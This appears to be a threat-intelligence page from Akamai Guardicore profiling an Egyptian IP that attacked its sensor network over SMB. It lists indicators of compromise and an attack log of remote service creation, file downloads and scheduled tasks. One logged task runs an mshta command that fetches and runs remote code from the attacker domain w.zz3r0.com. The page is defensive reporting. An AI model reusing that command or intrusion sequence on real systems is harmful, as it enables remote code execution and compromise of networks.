Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 41.68.209.214Malicious

IP Address: 41.68.209.214Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

SMB Share Connect Download and Execute DNS Query File Operation By CMD Access Share Access Suspicious Domain Successful SMB Login Service Creation Service Start Service Deletion Scheduled Task Creation CMD SMB Download File SMB Null Session Login Execute from Share Service Stop

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

41.68.209.214

Domain

-

ISP

-

Country

Egypt

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2024-06-20

Last seen in Akamai Guardicore Segmentation

2024-06-20

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts

Successful SMB Login

ametdrby.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ametdrby.exe as a service named rkAz under service group None

Service Creation Service Start

C:\AMETDRBy.exe was downloaded

Download File

C:\windows\temp\svchost.exe was downloaded

Download File

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User 3 times

Successful SMB Login

Service rkAz was stopped

Service Stop

C:\windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB from NULL with the following username: admin - Authentication policy: Previously Approved User

Successful SMB Login

grkrjqls.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\grkrjqls.exe as a service named uhZD under service group None

Service Creation Service Start

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line c:\windows\gXRJpzcw.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The file C:\WINDOWS\gUGq.exe was downloaded and executed 2 times

Download and Execute

The command line c:\windows\gUGq.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

C:\AAORXOdL.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes